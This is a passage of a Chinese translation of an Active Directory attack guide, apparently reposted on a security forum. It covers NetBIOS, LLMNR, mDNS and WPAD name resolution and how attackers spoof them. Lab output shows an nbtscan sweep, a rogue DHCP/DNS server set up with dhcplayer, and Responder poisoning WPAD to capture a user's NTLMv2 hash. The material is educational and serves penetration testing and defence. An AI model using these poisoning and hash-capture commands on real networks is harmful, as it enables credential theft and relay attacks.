此外,还可以使用这个特性在网络中进行NetBIOS扫描,以查找相关机器和服务:为此,可以使用nbtscan或nmap脚本nbtstat.nse,无论是在Windows中还是在Linux中。

root@debian10:~# nbtscan 192.168.100.0/24
192.168.100.2   CONTOSO\DC01                    SHARING DC
192.168.100.7   CONTOSO\WS02-7                  SHARING
*timeout (normal end of scan)

使用nbtscan进行NetBIOS扫描

如果您是通过proxychains连接网络的,该方法是行不通的,因为proxychains不会重定向UDP连接。

此外,NBNS还允许NetBIOS节点注册和释放其名称。当节点连接到网络时,它会向WINS服务器发送注册消息;如果无法发送注册消息的话,则发送广播消息。此外,当节点离开网络时,按说应该发送一条消息来释放名称,但是,通常它并不会这么做。

应该注意的是,NBNS/WINS被认为是一个“古董”协议,因此,通常不鼓励使用该协议。但是,它仍然可以在许多Windows网络中工作,因为出于兼容性的原因,它在默认情况下是启用的。

LLMNR

LLMNR(Link-Local Multicast Name Resolution,LLMNR)是一种类似于DNS的去中心化应用协议,允许在同一本地网络中解析主机名,这意味着它的数据包不会被路由器转发,而只在其网段中传输。它自Windows Vista版本以来就包含在Windows系统中,在各种名称解析协议中排名第三。这些协议的优先次序如下:

  • DNS
  • MDNs
  • LLMNR
  • NBNs

在Windows网络中,计算机会监听端口5355/UDP;为了解析名称,客户机需要向组播地址224.0.0.252(FF02:0:0:0:0:0:1:3,IPv6)发送LLMNR查询。该查询遵循DNS格式,不仅可以用来查询名称,还可以询问DNS支持的其他问题。

            .---
 LLMNR ---> | 5355/UDP
            '---

LLMNR端口

现实中比较常见的情况是:人们使用LLMNR通过发送DNS查询来解析本地链接中的名称。在这种情况下,所查询名称对应的计算机会进行应答。但是,任何人都可以响应该查询,即使是发动PitM攻击的攻击者也可以响应该查询。这正是responder.py和Inveigh在含有Windows机器的网络中收集NTLM哈希值时使用的战术之一。

mDNS

mDNS(multicast DNS,mDNS)是一种类似于LLMNR的去中心化应用协议,该协议基于DNS,可用于在本地网络中解析主机名,这意味着它的数据包不会被路由器转发,而只在其网段中传输。它自Windows 10版本开始引入Windows系统,在各种名称解析协议中排名第二,仅次于DNS。这些协议的优先次序如下:

  • DNS
  • MDNs
  • LLMNR
  • NBNs

在Windows网络中,计算机会监听端口5353/UDP;为了解析名称,客户机需要向组播地址224.0.0.251( FF02::FB,IPv6)发送mDNS查询。该查询遵循DNS格式,不仅可以用来查询名称,还可以询问DNS支持的其他问题。

            .---
 mDNS ---> | 5353/UDP
            '---

mDNS端口

现实中比较常见的情况是:人们通过发送DNS查询来使用mDNS解析本地链接中的名称。在这种情况下,被查询名称对应的计算机应通过将答案发送到组播地址224.0.0.251来进行响应,这样网络中的任何计算机都可以获得答案并将其缓存。但是,实际上任何人都可以响应该查询,因此攻击者可以藉此发动MITM攻击。实际上,这正是responder.py和Inveigh在含有Windows机器的网络中收集NetNTLM哈希值时使用的战术之一。

WPAD

WPAD(Web Proxy Auto-Discovery,WPAD)是一个协议,用于供浏览器用于动态地获得一个文件,指出这些程序应该使用哪些代理。用于指示代理的文件是一个PAC(Proxy Auto-Config,PAC)的javascript文件,它包含一个FindProxyForURL函数,当浏览器导航到一个网站时就会调用这个函数。

function FindProxyForURL(url, host) {
    if (host == "example.com") {
        return "PROXY proxy:80";
    }
    return "DIRECT";
}

PAC文件示例

即使默认情况下不使用WPAD协议,也可以在企业环境中找到它,因为许多公司都会使用代理来监视其通信。WPAD可以在浏览器或系统设置中进行配置,甚至可以使用GPO进行配置。

在查找PAC时,浏览器通常会导航至http://wpad.<domain>/wpad.dat进行查找。不过,也可以通过DHCP设置其他URL。

为了解析wpad.<domain>,OS会发送一个DNS请求。过去,如果DNS失败,Windows机器也会发送LLMNR或NetBIOS请求,但自从MS16-077安全更新后,WPAD的广播解析已经被禁用。

此外,我们无法通过DNS或DHCP使用DNS动态更新或直接使用LDAP来创建wpad DNS记录。这是因为Global Query Block List(GQBL)在起作用。

因此,即使在过去这种攻击非常流行,但是时过境迁,今天更好的攻击方法是在受害者中配置恶意DNS服务器,使用DHCP或手动方式将wpad解析到您的主机。

$ sudo dhcplayer server -I eth2 -v --domain contoso.local
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - Domain: contoso.local
INFO - DISCOVER from 52:54:00:76:87:bb (ws01-10)
INFO - Offer 192.168.100.121
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.121
INFO - ACK to 192.168.100.121 for 52:54:00:76:87:bb

通过DHCP配置伪造DNS服务器

此外,过去似乎可以通过wpad请求来请求基本HTTP身份验证。如今,我尝试了多种不同的浏览器(如Edge、Firefox和Chrome),这种方法已经失效。实际上,只有当需要NTLM时(使用responder.py),受害浏览器才会下载wpad文件。

$ sudo responder -I eth2 -wF                                                                                                                               1 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
.......
[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [ON]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]
.......
[+] Listening for events...

[*] [DNS] A Record poisoned answer sent to: 192.168.100.121  Requested name: .wpad.contoso.local
[HTTP] User-Agent        : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent        : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent        : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent        : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] NTLMv2 Client   : 192.168.100.121
[HTTP] NTLMv2 Username : CONTOSO\anakin
[HTTP] NTLMv2 Hash     : anakin::CONTOSO:bab86818f6898114:4E4B01D6F205A8BAED8383384C34E4BB:0101000000000000342A94C0D853D7018430129FD734A90600000000020008004E0032003200360001001E00570049004E002D003900330034004C0048004600510045004B0044004800040014004E003200320036002E004C004F00430041004C0003003400570049004E002D003900330034004C0048004600510045004B00440048002E004E003200320036002E004C004F00430041004C00050014004E003200320036002E004C004F00430041004C000800300030000000000000000100000000200000F160EE2502E164FA02569EF7A5CFA08BC2C34A7C4843E74A8E6E5A4683CF1EEA0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000
[HTTP] WPAD (auth) file sent to 192.168.100.121

使用NTLM auth通过Responder提供WPAD文件

除了破解NTLM哈希值之外,这对于NTLM中继攻击也很有用,因为HTTP不需要登录NTLM,因此,它可以与NTLM跨协议中继攻击中的任何其他协议一起使用。

此外,将PAC文件提供给受害者将允许您作为受害者执行一些javascript代码,这些代码可以用来泄露访问的URL。

小结

由于本文篇幅过长,我们将分为两篇发布,更多精彩内容,敬请期待!

(未完待续)

原文地址:https://zer1t0.gitlab.io/posts/attacking_ad/

评论

C

ctr2016

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

MongoDB安全 文章:3 篇
安全管理 文章:7 篇
逻辑漏洞 文章:15 篇
memcache安全 文章:1 篇
逆向安全 文章:70 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录